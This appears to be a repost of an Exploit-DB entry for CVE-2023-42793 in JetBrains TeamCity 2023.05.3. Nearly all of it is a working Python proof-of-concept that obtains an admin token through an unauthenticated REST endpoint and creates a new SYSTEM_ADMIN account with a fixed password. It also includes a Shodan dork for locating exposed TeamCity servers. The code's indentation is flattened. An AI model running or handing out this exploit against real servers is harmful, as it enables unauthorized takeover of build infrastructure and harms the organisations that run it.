JetBrains TeamCity 2023.05.3 – Remote Code Execution (RCE)

  • 作者: ByteHunter
    日期: 2024-03-14
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/51884/
  • #- Exploit Title: JetBrains TeamCity 2023.05.3 - Remote Code Execution (RCE)
    #- Shodan Dork: http.title:TeamCity , http.favicon.hash:-1944119648
    #- Exploit Author: ByteHunter
    #- Vendor: JetBrains
    #- Email: 0xByteHunter@proton.me
    #- vendor: JetBrains
    #- Version: versions before 2023.05.4
    #- Tested on: 2023.05.3
    #- CVE : CVE-2023-42793 
    
    import requests
    import argparse
    import re
    import random
    import string
    import subprocess
    
    
    banner = """
    =====================================================
    * CVE-2023-42793*
    *TeamCity Admin Account Creation* 
    * *
    *Author: ByteHunter *
    =====================================================
    """
    
    print(banner)
    parser = argparse.ArgumentParser(description="CVE-2023-42793 - TeamCity JetBrains PoC")
    parser.add_argument("-u", "--url", required=True, help="Target URL")
    parser.add_argument("-v", "--verbose", action="store_true", help="verbose mode")
    args = parser.parse_args()
    
    url = args.url
    
    if url.startswith("https://"):
    curl_command = "curl -k"
    else:
    curl_command = "curl"
    
    get_token_url = f"{url}/app/rest/users/id:1/tokens/RPC2"
    delete_token_url = f"{url}/app/rest/users/id:1/tokens/RPC2"
    create_user_url = f"{url}/app/rest/users"
    
    create_user_command = ""
    token = ""
    
    response = requests.post(get_token_url, verify=False)
    if response.status_code == 200:
    match = re.search(r'value="([^"]+)"', response.text)
    if match:
    token = match.group(1)
    print(f"Token: {token}") 
    else:
    print("Token not found in the response")
    
    elif response.status_code == 404:
    print("Token already exists")
    delete_command = f'{curl_command} -X DELETE {delete_token_url}'
    delete_process = subprocess.Popen(delete_command, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
    delete_process.wait()
    delete_output = delete_process.communicate()
    if delete_process.returncode == 0:
    print("Previous token deleted successfully\nrun this command again for creating new token & admin user.")
    else:
    print("Failed to delete the previous token")
    elif response.status_code == 400:
    print("Token already exists")
    delete_command = f'{curl_command} -X DELETE {delete_token_url}'
    delete_process = subprocess.Popen(delete_command, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
    delete_process.wait()
    delete_output = delete_process.communicate()
    if delete_process.returncode == 0:
    print("Previous token deleted successfully\nrun this command again for creating new token & admin user.")
    else:
    print("Failed to delete the previous token")
    else:
    print("Failed to get a token")
    
    if token:
    headers = {
    "Authorization": f"Bearer {token}",
    "Content-Type": "application/json"
    }
    random_chars = ''.join(random.choice(string.ascii_letters + string.digits) for _ in range(4))
    username = f"city_admin{random_chars}"
    data = {
    "username": username,
    "password": "Main_password!!**",
    "email": "angry-admin@funnybunny.org",
    "roles": {"role": [{"roleId": "SYSTEM_ADMIN", "scope": "g"}]}
    }
    create_user_command = f'{curl_command} --path-as-is -H "Authorization: Bearer {token}" -X POST {create_user_url} -H "Content-Type: application/json" --data \'{{"username": "{username}", "password": "theSecretPass!", "email": "nest@nest", "roles": {{"role": [{{"roleId": "SYSTEM_ADMIN", "scope": "g"}}]}}}}\''
    create_user_response = requests.post(create_user_url, headers=headers, json=data)
    if create_user_response.status_code == 200:
    print("Successfully exploited!")
    print(f"URL: {url}")
    print(f"Username: {username}")
    print("Password: Main_password!!**")
    else:
    print("Failed to create new admin user")
    
    if args.verbose:
    if response.status_code == 400:
    pass
    else:
    print(f"Final curl command: {create_user_command}")